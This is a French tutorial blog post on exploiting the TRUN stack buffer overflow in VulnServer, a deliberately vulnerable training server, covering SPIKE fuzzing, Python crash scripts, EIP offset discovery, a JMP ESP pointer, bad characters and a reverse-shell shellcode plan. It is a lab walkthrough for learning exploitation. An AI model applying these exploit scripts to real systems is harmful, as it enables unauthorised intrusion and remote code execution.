Se rendre au contenu

Non classé

Exploitation du Vanilla Buffer Overflow dans VulnServer (commande TRUN)

Vulnserver est un serveur TCP multithread basé sur Windows qui écoute les connexions client sur le port 9999 (par défaut) et permet à l'utilisateur d'exécuter un certain nombre de commandes différentes, vulnérables à divers types de débordements de tampon exploitables. Ce logiciel est principalement conçu comme un outil pédagogique pour apprendre à trouver et exploiter les bugs de débordement de tampon ; chacun des bugs qu'il contient nécessite une approche légèrement différente. Bien qu'il imite un simple programme serveur légitime, ce logiciel n'a pas d'utilité fonctionnelle autre que de servir de cible d'exploit, et ne devrait pas être exécuté en dehors d'un cadre d'apprentissage.

Créateur : Stephen Bradshaw — GitHub

Exploitation de vulnérabilités Cybersécurité Pentest
23 décembre 2022 Par SMART SKILLS Lecture : 30 min

Vulnserver est un serveur TCP multithread basé sur Windows qui écoute les connexions client sur le port 9999 (par défaut) et permet à l'utilisateur d'exécuter un certain nombre de commandes différentes, vulnérables à divers types de débordements de tampon exploitables. Ce logiciel est principalement conçu comme un outil pédagogique pour apprendre à trouver et exploiter les bugs de débordement de tampon ; chacun des bugs qu'il contient nécessite une approche légèrement différente. Bien qu'il imite un simple programme serveur légitime, ce logiciel n'a pas d'utilité fonctionnelle autre que de servir de cible d'exploit, et ne devrait pas être exécuté en dehors d'un cadre d'apprentissage.

Créateur : Stephen Bradshaw — GitHub


Exécutons d'abord Vulnserver sur une machine Windows 7 pour observer son fonctionnement. D'après son créateur, le programme écoute sur le port 9999 par défaut, mais ce port peut être modifié via un argument en ligne de commande.

​

Vérifions que nous pouvons nous connecter au serveur en utilisant netcat.


Tout semble bon — attachons maintenant le serveur au débogueur Immunity.

Fuzzing de VulnServer avec SPIKE

SPIKE est un framework de fuzzing écrit en langage C, conçu pour fuzzer des applications réseau, avec une capacité de script permettant de créer des fuzzers personnalisés. Il est facile à utiliser, bien qu'un peu ancien comparé à d'autres outils comme Sulley ou BooFuzz.

Télécharger SPIKE : github.com/guilhermeferreira/spikepp

Commandes de base de SPIKE :

s_string(argument);           // Envoie l'argument sans modification à l'application
s_string_variable("aléatoire"); // Envoie un tableau de données aléatoires à l'application
s_readline();                 // Lit une ligne de la réponse

Comme observé précédemment, la commande « HELP » envoyée au serveur retourne la liste des commandes acceptées. Dans ce tutoriel, nous fuzzerons uniquement la commande TRUN.

Créez un fichier texte nommé TRUN.spk contenant :

s_string("TRUN ");
s_string_variable("test");

​

Pour mieux comprendre ce que SPIKE enverra sur le réseau, lancez Wireshark et démarrez la capture du trafic.

Sur votre machine Linux, exécutez la commande de fuzzing dans le terminal.

Attendez que le serveur plante. Le registre EAX contiendra la chaîne TRUN /.:/ suivie d'une série de « A », et les registres EIP et ESP auront également été écrasés. Retournez dans Wireshark, recherchez le paquet contenant TRUN /.:/, faites un clic droit → Suivre → Flux TCP.


Construction de l'exploit

Le paquet ayant causé le crash faisait près de 5000 octets. Reproduisons le crash sans le fuzzer, via un script Python :

python

#!/usr/bin/python
import socket

target_ip = "192.168.29.178"
port = 9999
payload = "TRUN /.:/" + 5000 * 'A'

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
    s.close()
except:
    print("[-] Crashed")

​

Le serveur plante à nouveau avec notre script Python.

Pour générer un motif de test permettant de localiser précisément le décalage EIP, utilisez la commande mona :

!mona pc 5000

Cette commande crée un fichier pattern.txt dans le répertoire du débogueur Immunity.

Astuce : sur Windows 7 64 bits, le chemin est C:\Program Files (x86)\Immunity Inc\Immunity Debugger. Sur Windows 7 32 bits : C:\Program Files\Immunity Inc\Immunity Debugger.

​

Remplaçons les 5000 « A » par ce motif dans le script Python (motif tronqué ici par souci de lisibilité — voir le fichier pattern.txt généré par mona pour la chaîne complète) :

python

#!/usr/bin/python
import socket

target_ip = "10.0.2.4"
port = 9999
payload = "TRUN /.:/"
payload += "Aa0Aa1Aa2Aa3...[motif complet généré par mona.py]...Gk"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
except:
    print("[-] Crashed")

Relancez le serveur, attachez-le au débogueur, puis exécutez le script Python.

Le serveur plante et EIP prend la valeur 386F4337. Pour connaître le décalage exact de cette valeur dans le motif, utilisons la commande mona qui recherche les motifs Metasploit en mémoire :

!mona findmsp

Cette commande crée un fichier findmsp.txt. Recherchez-y la ligne correspondant à la valeur EIP — nous découvrons que EIP peut être écrasé au décalage 2003.

Ajustons le payload avec cette information et testons à nouveau :

python

#!/usr/bin/python
import socket

target_ip = "10.0.2.4"
port = 9999
payload = "TRUN /.:/"
payload += 2003 * "A"  # junk
payload += "BBBB"
payload += (5009 - len(payload)) * "C"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.send(payload)
    print("[+] " + str(len(payload)) + " Bytes Sent")
except:
    print("[-] Crashed")

​

Comme attendu, EIP contient BBBB et ESP contient les C. Puisque le shellcode sera placé sur la pile, EIP doit pointer vers une instruction JMP ESP, qui redirigera l'exécution vers le shellcode.

Pour trouver un pointeur JMP ESP, utilisez la commande mona correspondante. Le fichier jmp.txt généré permet de choisir un pointeur au sein de la DLL essfunc.dll, fournie avec Vulnserver — ce qui garantit la compatibilité de l'exploit même sur une autre machine, et cette DLL a plusieurs protections de sécurité désactivées (ASLR, SafeSEH, etc.).

Caractères interdits (Bad Characters)

Avant de générer le shellcode, il faut identifier les caractères interdits qui ne peuvent pas être utilisés dans le shellcode.


Mettez à jour le script avec le tableau de caractères généré par mona.py et exécutez-le.

Note : \x00 a été retiré du tableau, car il s'agit presque toujours d'un caractère interdit et son inclusion fausserait les résultats.

Le seul caractère interdit identifié est \x00 (NULL byte).

Génération du shellcode

Le shellcode est généré avec msfvenom, en spécifiant :

  • 10.0.2.5 → adresse IP de la machine attaquante
  • 9001 → port d'écoute sur la machine attaquante

Astuce : en cas de plantage du serveur sans exécution du shellcode, désactivez la protection DEP pour Vulnserver : Poste de travail → Propriétés → Paramètres système avancés → Performances → Paramètres → Prévention de l'exécution des données → ajouter Vulnserver aux exceptions.



Exploit final

Préparez netcat pour écouter sur le port 9001.


Exécutez le serveur, puis lancez le script d'exploitation final.

Ressources nécessaires

  • VirtualBox
  • Kali Linux
  • Windows 7
  • Immunity Debugger
  • Module Mona
  • Serveur Vulnserver cible

Et voilà — l'exploit fonctionne avec succès !

Résumé

Un tutoriel technique complet illustrant, étape par étape, l'exploitation d'une vulnérabilité de type Vanilla Buffer Overflow sur VulnServer via la commande TRUN — de la phase de fuzzing avec SPIKE jusqu'à l'exécution réussie d'un shellcode, en passant par l'identification du décalage EIP, la recherche d'un pointeur JMP ESP et la détection des caractères interdits.


Catégories

Cybersécurité Pentest Exploitation de vulnérabilités